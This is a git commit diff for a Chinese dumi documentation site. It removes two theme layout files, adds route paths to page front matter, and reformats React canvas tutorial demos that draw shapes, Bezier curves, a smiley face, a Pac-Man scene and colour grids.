feat: 上传文章
This commit is contained in:
parent
4afd399a9f
commit
26cb0f4cf8
@ -1,12 +0,0 @@
|
||||
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
|
||||
import React from 'react';
|
||||
import Layout from 'dumi-theme-default/es/layout';
|
||||
|
||||
export default ({ children, ...props }) => (
|
||||
<Layout {...props}>
|
||||
<>
|
||||
<button>反馈</button>
|
||||
{children}
|
||||
</>
|
||||
</Layout>
|
||||
);
|
@ -1,32 +0,0 @@
|
||||
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
|
||||
import React, { useEffect } from 'react';
|
||||
import Layout from 'dumi-theme-default/es/layout';
|
||||
|
||||
export default ({ children, ...props }) => {
|
||||
const { history } = props;
|
||||
|
||||
useEffect(() => {
|
||||
const header = document.querySelector('.__dumi-default-navbar')
|
||||
const cont = document.querySelector('.__dumi-default-layout-content')
|
||||
const lo = document.querySelector('.__dumi-default-layout')
|
||||
|
||||
if (location.hash === '#/resume' && lo) {
|
||||
|
||||
cont.style.position = 'relative'
|
||||
cont.style.top = '-64px'
|
||||
header.style.display = 'none'
|
||||
} else {
|
||||
cont.style.position = 'relative'
|
||||
cont.style.top = '0'
|
||||
header.style.display = 'flex'
|
||||
}
|
||||
},[location.hash])
|
||||
|
||||
return (
|
||||
<Layout {...props}>
|
||||
<>
|
||||
{children}
|
||||
</>
|
||||
</Layout>
|
||||
)
|
||||
};
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 Q&A
|
||||
order: 100
|
||||
path: /qa
|
||||
---
|
||||
|
||||
# 💊 Q&A
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 canvas
|
||||
order: 2
|
||||
path: /canvas
|
||||
---
|
||||
|
||||
## 基础入门
|
||||
@ -15,41 +16,41 @@ group:
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制矩形
|
||||
* fillRect(x, y, w, h) 填充矩形
|
||||
* strokeRect(x, y, w, h) 边框矩形
|
||||
* clearRect(x, y, w, h) 清除指定区域
|
||||
*/
|
||||
function fillRect() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制矩形
|
||||
* fillRect(x, y, w, h) 填充矩形
|
||||
* strokeRect(x, y, w, h) 边框矩形
|
||||
* clearRect(x, y, w, h) 清除指定区域
|
||||
*/
|
||||
function fillRect() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 实心矩形
|
||||
ctx.fillStyle = 'red'
|
||||
ctx.fillRect(25, 25, 50, 50)
|
||||
// 实心矩形
|
||||
ctx.fillStyle = 'red';
|
||||
ctx.fillRect(25, 25, 50, 50);
|
||||
|
||||
// 空心矩形
|
||||
ctx.lineWidth = 1
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.strokeRect(75, 75, 50, 50)
|
||||
// 空心矩形
|
||||
ctx.lineWidth = 1;
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.strokeRect(75, 75, 50, 50);
|
||||
|
||||
// 清除区域
|
||||
ctx.clearRect(50, 50, 50, 50)
|
||||
}
|
||||
// 清除区域
|
||||
ctx.clearRect(50, 50, 50, 50);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
fillRect()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
fillRect();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 三角形
|
||||
@ -58,40 +59,40 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制三角形
|
||||
*/
|
||||
function tri() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制三角形
|
||||
*/
|
||||
function tri() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 实心三角形
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(90, 25)
|
||||
ctx.lineTo(25, 90)
|
||||
ctx.lineTo(155, 90)
|
||||
ctx.fill()
|
||||
// 实心三角形
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(90, 25);
|
||||
ctx.lineTo(25, 90);
|
||||
ctx.lineTo(155, 90);
|
||||
ctx.fill();
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(90, 155)
|
||||
ctx.lineTo(25, 90)
|
||||
ctx.lineTo(155, 90)
|
||||
ctx.closePath()
|
||||
ctx.stroke()
|
||||
}
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(90, 155);
|
||||
ctx.lineTo(25, 90);
|
||||
ctx.lineTo(155, 90);
|
||||
ctx.closePath();
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
tri()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
tri();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制圆弧
|
||||
@ -100,38 +101,38 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
// 绘制圆弧
|
||||
function drawArc() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
// 绘制圆弧
|
||||
function drawArc() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
let x = 90,
|
||||
y = 90,
|
||||
r = 30,
|
||||
startAngle = 0,
|
||||
endAngle = (Math.PI / 180) * 180
|
||||
let x = 90,
|
||||
y = 90,
|
||||
r = 30,
|
||||
startAngle = 0,
|
||||
endAngle = (Math.PI / 180) * 180;
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.arc(x, y, r, startAngle, endAngle, false)
|
||||
ctx.fill()
|
||||
ctx.beginPath();
|
||||
ctx.arc(x, y, r, startAngle, endAngle, false);
|
||||
ctx.fill();
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.arc(x, y, r, startAngle, endAngle, true)
|
||||
ctx.stroke()
|
||||
}
|
||||
ctx.beginPath();
|
||||
ctx.arc(x, y, r, startAngle, endAngle, true);
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
drawArc()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
drawArc();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制贝塞尔曲线
|
||||
@ -140,44 +141,43 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* quadraticCurveTo(cp1x, cp1y, x, y) cp1 为控制点
|
||||
* bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y) cp1、cp2 为控制点
|
||||
* x、y 为结束点
|
||||
*/
|
||||
function bezier() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* quadraticCurveTo(cp1x, cp1y, x, y) cp1 为控制点
|
||||
* bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y) cp1、cp2 为控制点
|
||||
* x、y 为结束点
|
||||
*/
|
||||
function bezier() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 二次贝塞尔曲线
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(30, 90)
|
||||
ctx.quadraticCurveTo(15, 15, 90, 30)
|
||||
ctx.quadraticCurveTo(165, 15, 150, 90)
|
||||
ctx.quadraticCurveTo(148, 130, 70, 120)
|
||||
ctx.quadraticCurveTo(65, 140, 40, 140)
|
||||
ctx.quadraticCurveTo(65, 135, 55, 120)
|
||||
ctx.quadraticCurveTo(30, 115, 30, 90)
|
||||
ctx.stroke()
|
||||
// 二次贝塞尔曲线
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(30, 90);
|
||||
ctx.quadraticCurveTo(15, 15, 90, 30);
|
||||
ctx.quadraticCurveTo(165, 15, 150, 90);
|
||||
ctx.quadraticCurveTo(148, 130, 70, 120);
|
||||
ctx.quadraticCurveTo(65, 140, 40, 140);
|
||||
ctx.quadraticCurveTo(65, 135, 55, 120);
|
||||
ctx.quadraticCurveTo(30, 115, 30, 90);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('聊天框', 120, 160)
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('聊天框', 120, 160);
|
||||
}
|
||||
|
||||
}
|
||||
useEffect(() => {
|
||||
bezier();
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
bezier()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制三次贝塞尔曲线
|
||||
@ -186,43 +186,43 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制三次贝塞尔曲线
|
||||
*
|
||||
*/
|
||||
function beziers() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制三次贝塞尔曲线
|
||||
*
|
||||
*/
|
||||
function beziers() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 三次贝塞尔曲线
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(90, 40)
|
||||
ctx.bezierCurveTo(90, 36, 70, 25, 50, 25)
|
||||
ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5)
|
||||
ctx.bezierCurveTo(20, 80, 40, 120, 90, 140)
|
||||
ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5)
|
||||
ctx.bezierCurveTo(160, 22, 140, 25, 130, 25)
|
||||
ctx.bezierCurveTo(120, 25, 110, 30, 90, 40)
|
||||
ctx.fillStyle = 'red'
|
||||
ctx.fill()
|
||||
// 三次贝塞尔曲线
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(90, 40);
|
||||
ctx.bezierCurveTo(90, 36, 70, 25, 50, 25);
|
||||
ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
|
||||
ctx.bezierCurveTo(20, 80, 40, 120, 90, 140);
|
||||
ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5);
|
||||
ctx.bezierCurveTo(160, 22, 140, 25, 130, 25);
|
||||
ctx.bezierCurveTo(120, 25, 110, 30, 90, 40);
|
||||
ctx.fillStyle = 'red';
|
||||
ctx.fill();
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('爱心', 120, 160)
|
||||
}
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('爱心', 120, 160);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
beziers()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
beziers();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制笑脸
|
||||
@ -231,42 +231,41 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制笑脸
|
||||
*
|
||||
*/
|
||||
function fillSmile() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制笑脸
|
||||
*
|
||||
*/
|
||||
function fillSmile() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.arc(75, 75, 50, 0, Math.PI * 2, true)
|
||||
ctx.moveTo(110, 75)
|
||||
ctx.arc(75, 75, 35, 0, Math.PI, false)
|
||||
ctx.moveTo(65, 65)
|
||||
ctx.arc(60, 65, 5, 0, Math.PI * 2, true)
|
||||
ctx.moveTo(95, 65)
|
||||
ctx.arc(90, 65, 5, 0, Math.PI * 2, true)
|
||||
ctx.stroke()
|
||||
ctx.beginPath();
|
||||
ctx.arc(75, 75, 50, 0, Math.PI * 2, true);
|
||||
ctx.moveTo(110, 75);
|
||||
ctx.arc(75, 75, 35, 0, Math.PI, false);
|
||||
ctx.moveTo(65, 65);
|
||||
ctx.arc(60, 65, 5, 0, Math.PI * 2, true);
|
||||
ctx.moveTo(95, 65);
|
||||
ctx.arc(90, 65, 5, 0, Math.PI * 2, true);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('笑脸', 120, 160)
|
||||
}
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('笑脸', 120, 160);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
fillSmile();
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
fillSmile()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 吃豆人
|
||||
@ -275,142 +274,137 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 吃豆人
|
||||
*
|
||||
*/
|
||||
function bean() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 吃豆人
|
||||
*
|
||||
*/
|
||||
function bean() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 外墙
|
||||
_roundedRect(ctx, 12, 12, 160, 160, 15)
|
||||
_roundedRect(ctx, 18, 18, 148, 148, 9)
|
||||
// 内墙
|
||||
_roundedRect(ctx, 45, 50, 45, 30, 6)
|
||||
_roundedRect(ctx, 115, 50, 45, 30, 6)
|
||||
_roundedRect(ctx, 115, 110, 45, 50, 6)
|
||||
_roundedRect(ctx, 45, 110, 45, 25, 6)
|
||||
// 外墙
|
||||
_roundedRect(ctx, 12, 12, 160, 160, 15);
|
||||
_roundedRect(ctx, 18, 18, 148, 148, 9);
|
||||
// 内墙
|
||||
_roundedRect(ctx, 45, 50, 45, 30, 6);
|
||||
_roundedRect(ctx, 115, 50, 45, 30, 6);
|
||||
_roundedRect(ctx, 115, 110, 45, 50, 6);
|
||||
_roundedRect(ctx, 45, 110, 45, 25, 6);
|
||||
|
||||
// 绘制吃豆人
|
||||
ctx.beginPath()
|
||||
ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false)
|
||||
ctx.lineTo(31, 37)
|
||||
ctx.fill()
|
||||
// 绘制吃豆人
|
||||
ctx.beginPath();
|
||||
ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false);
|
||||
ctx.lineTo(31, 37);
|
||||
ctx.fill();
|
||||
|
||||
// 绘制魔鬼
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(83, 116)
|
||||
ctx.lineTo(83, 102)
|
||||
ctx.bezierCurveTo(83, 94, 89, 88, 97, 88)
|
||||
ctx.bezierCurveTo(105, 88, 111, 94, 111, 102)
|
||||
ctx.lineTo(111, 116)
|
||||
ctx.lineTo(106.3, 111.3)
|
||||
ctx.lineTo(97.3, 111)
|
||||
ctx.lineTo(92, 116)
|
||||
ctx.lineTo(87, 111)
|
||||
ctx.lineTo(83, 116)
|
||||
ctx.fill()
|
||||
// 绘制魔鬼
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(83, 116);
|
||||
ctx.lineTo(83, 102);
|
||||
ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
|
||||
ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
|
||||
ctx.lineTo(111, 116);
|
||||
ctx.lineTo(106.3, 111.3);
|
||||
ctx.lineTo(97.3, 111);
|
||||
ctx.lineTo(92, 116);
|
||||
ctx.lineTo(87, 111);
|
||||
ctx.lineTo(83, 116);
|
||||
ctx.fill();
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(52 + i * 16, 35, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(28, 52 + i * 16, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(100, 52 + i * 16, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 8; i++) {
|
||||
ctx.fillRect(44 + i * 16, 92, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 3; i++) {
|
||||
ctx.fillRect(44 + i * 16, 148, 4, 4)
|
||||
}
|
||||
|
||||
ctx.fillStyle = 'white'
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(91, 96)
|
||||
ctx.bezierCurveTo(88, 96, 87, 99, 87, 101)
|
||||
ctx.bezierCurveTo(87, 103, 88, 106, 91, 106)
|
||||
ctx.bezierCurveTo(94, 106, 95, 103, 95, 101)
|
||||
ctx.bezierCurveTo(95, 99, 94, 96, 91, 96)
|
||||
ctx.moveTo(103, 96)
|
||||
ctx.bezierCurveTo(100, 96, 99, 99, 99, 101)
|
||||
ctx.bezierCurveTo(99, 103, 100, 106, 103, 106)
|
||||
ctx.bezierCurveTo(106, 106, 107, 103, 107, 101)
|
||||
ctx.bezierCurveTo(107, 99, 106, 96, 103, 96)
|
||||
ctx.fill()
|
||||
|
||||
// 右眼
|
||||
ctx.fillStyle = 'blue'
|
||||
ctx.beginPath()
|
||||
ctx.arc(101, 102, 2, 0, Math.PI * 2, true)
|
||||
ctx.fill()
|
||||
// 左眼
|
||||
ctx.beginPath()
|
||||
ctx.arc(89, 102, 2, 0, Math.PI * 2, true)
|
||||
ctx.fill()
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('吃豆人', 180, 180)
|
||||
|
||||
ctx.clearRect(150, 0, 100, 200)
|
||||
|
||||
/**
|
||||
* 绘制圆角矩形的函数
|
||||
*
|
||||
* @param {*} ctx 画笔
|
||||
* @param {*} x x 坐标
|
||||
* @param {*} y y 坐标
|
||||
* @param {*} w 宽
|
||||
* @param {*} h 高
|
||||
* @param {*} r 半径
|
||||
*/
|
||||
function _roundedRect(ctx, x, y, w, h, radius) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(x, y + radius);
|
||||
ctx.lineTo(x, y + h - radius);
|
||||
ctx.quadraticCurveTo(x, y + h, x + radius, y + h);
|
||||
ctx.lineTo(x + w - radius, y + h);
|
||||
ctx.quadraticCurveTo(x + w, y + h, x + w, y + h - radius);
|
||||
ctx.lineTo(x + w, y + radius);
|
||||
ctx.quadraticCurveTo(x + w, y, x + w - radius, y);
|
||||
ctx.lineTo(x + radius, y);
|
||||
ctx.quadraticCurveTo(x, y, x, y + radius);
|
||||
ctx.stroke();
|
||||
}
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(52 + i * 16, 35, 4, 4);
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(28, 52 + i * 16, 4, 4);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
bean()
|
||||
}, [])
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(100, 52 + i * 16, 4, 4);
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 8; i++) {
|
||||
ctx.fillRect(44 + i * 16, 92, 4, 4);
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 3; i++) {
|
||||
ctx.fillRect(44 + i * 16, 148, 4, 4);
|
||||
}
|
||||
|
||||
ctx.fillStyle = 'white';
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(91, 96);
|
||||
ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
|
||||
ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
|
||||
ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
|
||||
ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
|
||||
ctx.moveTo(103, 96);
|
||||
ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
|
||||
ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
|
||||
ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
|
||||
ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
|
||||
ctx.fill();
|
||||
|
||||
// 右眼
|
||||
ctx.fillStyle = 'blue';
|
||||
ctx.beginPath();
|
||||
ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
|
||||
ctx.fill();
|
||||
// 左眼
|
||||
ctx.beginPath();
|
||||
ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
|
||||
ctx.fill();
|
||||
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('吃豆人', 180, 180);
|
||||
|
||||
ctx.clearRect(150, 0, 100, 200);
|
||||
|
||||
/**
|
||||
* 绘制圆角矩形的函数
|
||||
*
|
||||
* @param {*} ctx 画笔
|
||||
* @param {*} x x 坐标
|
||||
* @param {*} y y 坐标
|
||||
* @param {*} w 宽
|
||||
* @param {*} h 高
|
||||
* @param {*} r 半径
|
||||
*/
|
||||
function _roundedRect(ctx, x, y, w, h, radius) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(x, y + radius);
|
||||
ctx.lineTo(x, y + h - radius);
|
||||
ctx.quadraticCurveTo(x, y + h, x + radius, y + h);
|
||||
ctx.lineTo(x + w - radius, y + h);
|
||||
ctx.quadraticCurveTo(x + w, y + h, x + w, y + h - radius);
|
||||
ctx.lineTo(x + w, y + radius);
|
||||
ctx.quadraticCurveTo(x + w, y, x + w - radius, y);
|
||||
ctx.lineTo(x + radius, y);
|
||||
ctx.quadraticCurveTo(x, y, x, y + radius);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
bean();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
```js
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 canvas
|
||||
order: 2
|
||||
path: /canvas
|
||||
---
|
||||
|
||||
## 颜色
|
||||
@ -13,286 +14,290 @@ group:
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef2 = useRef()
|
||||
const canvasRef3 = useRef()
|
||||
const canvasRef4 = useRef()
|
||||
const canvasRef5 = useRef()
|
||||
const canvasRef6 = useRef()
|
||||
const canvasRef7 = useRef()
|
||||
const canvasRef8 = useRef()
|
||||
const canvasRef9 = useRef()
|
||||
const canvasRef10 = useRef()
|
||||
const canvasRef11 = useRef()
|
||||
const canvasRef12 = useRef()
|
||||
const canvasRef = useRef();
|
||||
const canvasRef2 = useRef();
|
||||
const canvasRef3 = useRef();
|
||||
const canvasRef4 = useRef();
|
||||
const canvasRef5 = useRef();
|
||||
const canvasRef6 = useRef();
|
||||
const canvasRef7 = useRef();
|
||||
const canvasRef8 = useRef();
|
||||
const canvasRef9 = useRef();
|
||||
const canvasRef10 = useRef();
|
||||
const canvasRef11 = useRef();
|
||||
const canvasRef12 = useRef();
|
||||
|
||||
function demo1() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
function demo1() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)`
|
||||
ctx.fillRect(j * 25, i * 25, 25, 25)
|
||||
}
|
||||
}
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
|
||||
255 - 42.5 * j,
|
||||
)}, 0)`;
|
||||
ctx.fillRect(j * 25, i * 25, 25, 25);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
|
||||
255 - 42.5 * j,
|
||||
)}, 0)`;
|
||||
ctx.beginPath();
|
||||
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.fillStyle = '#fd0';
|
||||
ctx.fillRect(0, 0, 75, 75);
|
||||
ctx.fillStyle = '#6c0';
|
||||
ctx.fillRect(75, 0, 75, 75);
|
||||
ctx.fillStyle = '#09f';
|
||||
ctx.fillRect(0, 75, 75, 75);
|
||||
ctx.fillStyle = '#f30';
|
||||
ctx.fillRect(75, 75, 75, 75);
|
||||
|
||||
ctx.fillStyle = '#fff';
|
||||
ctx.globalAlpha = 0.2;
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
ctx.beginPath();
|
||||
ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
|
||||
ctx.fill();
|
||||
}
|
||||
}
|
||||
|
||||
function demo4() {
|
||||
let canvas = canvasRef4.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.fillStyle = 'rgb(255, 221, 0)';
|
||||
ctx.fillRect(0, 0, 200, 50);
|
||||
ctx.fillStyle = 'rgb(102, 204, 0)';
|
||||
ctx.fillRect(0, 50, 200, 50);
|
||||
ctx.fillStyle = 'rgb(0, 153, 255)';
|
||||
ctx.fillRect(0, 100, 200, 50);
|
||||
ctx.fillStyle = 'rgb(255, 51, 0)';
|
||||
ctx.fillRect(0, 150, 200, 50);
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})`;
|
||||
for (let j = 0; j < 4; j++) {
|
||||
ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function demo5() {
|
||||
let canvas = canvasRef5.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.lineWidth = 1 + i;
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(5.5 + i * 14, 5.5);
|
||||
ctx.lineTo(5.5 + i * 14, 140.5);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
function demo6() {
|
||||
let canvas = canvasRef6.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
let lineCap = ['butt', 'round', 'square'];
|
||||
|
||||
